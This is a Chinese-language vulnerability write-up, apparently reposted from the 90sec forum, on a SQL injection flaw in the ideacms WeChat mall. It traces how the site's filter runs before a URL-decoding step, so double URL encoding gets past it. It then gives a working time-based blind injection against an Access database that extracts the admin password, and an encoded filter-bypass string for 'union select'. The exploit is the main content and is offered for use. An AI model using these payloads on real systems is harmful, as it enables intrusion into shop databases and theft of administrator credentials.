ideacms(微信商城)sql注射漏洞

from:90sec

dim page : page = getint(getForm("page", "get"),1)
dim keys : keys = URLDecode(getForm("keys","both"))
dim m_order : m_order = getForm("o", "get")
dim m_ordertype : m_ordertype = getForm("ot", "get")
  
dim templatePath,infoStr,rsObj
templatePath = PubTemp&"search.html"
with templateObj : .load(templatePath) : .parseComm() : infoStr = .content : end with
if isnul(keys) then infoStr=re(infoStr,"[list:tTitle]","全部商品") else infoStr=re(infoStr,"[list:tTitle]",keys)
infoStr=re(infoStr,"[list:order]",m_order)
infoStr=re(infoStr,"[list:ordertype]",m_ordertype)
infoStr=re(infoStr,"[list:keys]",keys)
select case m_order
case "sales"
if m_ordertype="desc" then
infoStr=re(infoStr,"[list:t2]","<div class='l_tcell1'><a href='?keys="&keys&"&o=sales&ot=asc'>销量 ↓</a></div>")
else
infoStr=re(infoStr,"[list:t2]","<div class='l_tcell1'><a href='?keys="&keys&"&o=sales&ot=desc'>销量 ↑</a></div>")
end if
case "price"
if m_ordertype="desc" then
infoStr=re(infoStr,"[list:t3]","<div class='l_tcell1'><a href='?keys="&keys&"&o=price&ot=asc'>价格 ↓</a></div>")
else
infoStr=re(infoStr,"[list:t3]","<div class='l_tcell1'><a href='?keys="&keys&"&o=price&ot=desc'>价格 ↑</a></div>")
end if
case "date"
if m_ordertype="desc" then
infoStr=re(infoStr,"[list:t4]","<div class='l_tcell1'><a href='?keys="&keys&"&o=date&ot=asc'>时间 ↓</a></div>")
else
infoStr=re(infoStr,"[list:t4]","<div class='l_tcell1'><a href='?keys="&keys&"&o=date&ot=desc'>时间 ↑</a></div>")
end if
case "sfree"
infoStr=re(infoStr,"[list:t5]","<div class='l_tcell1'><a href='javascript:void(0);'>包邮</a></div>")
end select
if isnul(m_order) then
infoStr=re(infoStr,"[list:t1]","<div class='l_tcell1'><a href='javascript:void(0);'>全部</a></div>")
else
infoStr=re(infoStr,"[list:t1]","<div class='l_tcell'><a href='?keys="&keys&"'>全部</a></div>")
end if
infoStr=re(infoStr,"[list:t2]","<div class='l_tcell'><a href='?keys="&keys&"&o=sales&ot=desc'>销量</a></div>")
infoStr=re(infoStr,"[list:t3]","<div class='l_tcell'><a href='?keys="&keys&"&o=price&ot=desc'>价格</a></div>")
infoStr=re(infoStr,"[list:t4]","<div class='l_tcell'><a href='?keys="&keys&"&o=date&ot=desc'>时间</a></div>")
infoStr=re(infoStr,"[list:t5]","<div class='l_tcell'><a href='?keys="&keys&"&o=sfree'>包邮</a></div>")
with templateObj : .content=infoStr : .parseList "",page,"search",keys : .parseIf() : infoStr = .content end with
Echo infoStr
terminateAllObjects

首先注意变量keys 跟踪函数getForm

Function getForm(p0,p1)
Select case p1
case "get"
getForm=encodeHtml(trim(request.QueryString(p0)))
case "post"
getForm=encodeHtml(trim(request.Form(p0)))
case else
   getForm=iif(isNul(request.QueryString(p0)),encodeHtml(trim(request.Form(p0))),encodeHtml(trim(request.QueryString(p0))))
End Select
End Function
 
get和post的获取方式分别是经过encodehtml函数 再来跟踪encodehtml函数
  
Function encodeHtml(Byval p0)
    dim reg : set reg = New Regexp
reg.IgnoreCase = true : reg.Global = true
if isNul(Trim(p0)) then encodeHtml="" : exit function
p0=replace(p0,"&","&")
p0=replace(p0,"'","'")
p0=replace(p0,"""",""")
p0=replace(p0,"<","<")
p0=replace(p0,">",">")
reg.pattern="(w)(here)" : p0=reg.replace(p0,"$1here")
reg.pattern="(s)(elect)" : p0=reg.replace(p0,"$1elect")
reg.pattern="(i)(nsert)" : p0=reg.replace(p0,"$1nsert")
reg.pattern="(c)(reate)" : p0=reg.replace(p0,"$1reate")
reg.pattern="(d)(rop)" : p0=reg.replace(p0,"$1rop")
reg.pattern="(a)(lter)" : p0=reg.replace(p0,"$1lter")
reg.pattern="(d)(elete)" : p0=reg.replace(p0,"$1elete")
reg.pattern="(u)(pdate)" : p0=reg.replace(p0,"$1pdate")
reg.pattern="(\s)(or)" : p0=reg.replace(p0,"$1or")
reg.pattern="(java)(script)" : p0=reg.replace(p0,"$1script")
reg.pattern="(j)(script)" : p0=reg.replace(p0,"$1script")
reg.pattern="(vb)(script)" : p0=reg.replace(p0,"$1script")
if instr(p0,"expression")<>0 then
p0=replace(p0,"expression","e-xpression",1,-1,0)
end if
encodeHtml=p0
set reg=nothing
End Function

可以看到 一些特殊的SQL字符符号都被正则过滤了  这里就好像PHP中的全局addslashes

再回到上面,注意这里

dim keys : keys = URLDecode(getForm("keys","both"))

有个URLDecode

跟踪一下

Function URLDecode(p0)
dim deStr,strSpecial 
dim c,i,v
deStr=""
strSpecial="!""#$%&'()*+,.-_/:;<=>?@[\]^`{|}~%"
for i=1 to len(p0) 
c=Mid(p0,i,1) 
if c="%" then
v=eval("&h"+Mid(p0,i+1,2)) 
if inStr(strSpecial,chr(v))>0 then
deStr=deStr&chr(v) 
i=i+2 
else
v=eval("&h"+ Mid(p0,i+1,2) + Mid(p0,i+4,2)) 
deStr=deStr & chr(v) 
i=i+5 
end if
else
if c="+" then deStr=deStr&" " else deStr=deStr&c 
end if
next 
URLDecode=deStr 
End function

这里能够对一些特殊字符进行decode 经典的URL双编码

dim keys : keys = URLDecode(getForm("keys","both"))

这里是先getform 在进行decode

先将特殊字符进行过滤 在decode的 那么这里就可以利用URL双编码将特殊字符输出了 所以这里形成了注射

首先构成一下SQL语句

select top 10 * from idea_Product where isDelet=0 and isShow=1 and isShow=1 and Title like '%130%' and id not in(select top 1 ID from idea_Product where isDelet=0 and isShow=1)order by ID desc

1

显示正常  那么开始构成EXP

由于可控点在'%%'之中 所以只能盲注  老规矩 时间盲注

select top 10 * from idea_Product where isDelet=0 and isShow=1 and isShow=1 and Title like '%130%' and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11)>0 and (select top 1 asc(mid(pwd,1,1)) from idea_manager where id=1)=50 and '%%' and id not in(select top 1 ID from idea_Product where isDelet=0 and isShow=1)order by ID desc

成功执行 并且延迟

由于过滤了select where 单引号等 特殊字符  所以这些特殊字符都要利用双编码绕过

但是在测试过程中  不知道为什么会吃掉一部分的字符 比如:select  会变成slc

%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574

这是union select 的双URL编码 在提交后会变成这样

2

中间的字符被吃掉了。。。  经过很久的摸索  终于发现门道了

只要双URL编码x2 就会显示正常了  举个栗子

union select双URL编码是这样的

%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574

变成下面这样就会显示正常了

%2520%2520%2575%2575%256e%256e%2569%2569%256f%256f%256e%256e%2520%2520%2573%2573%2565%2565%256c%256c%2565%2565%2563%2563%2574%2574

3

好了 既然知道了原理  那么就写个POC跑起来吧

结果如下图:

4

发表评论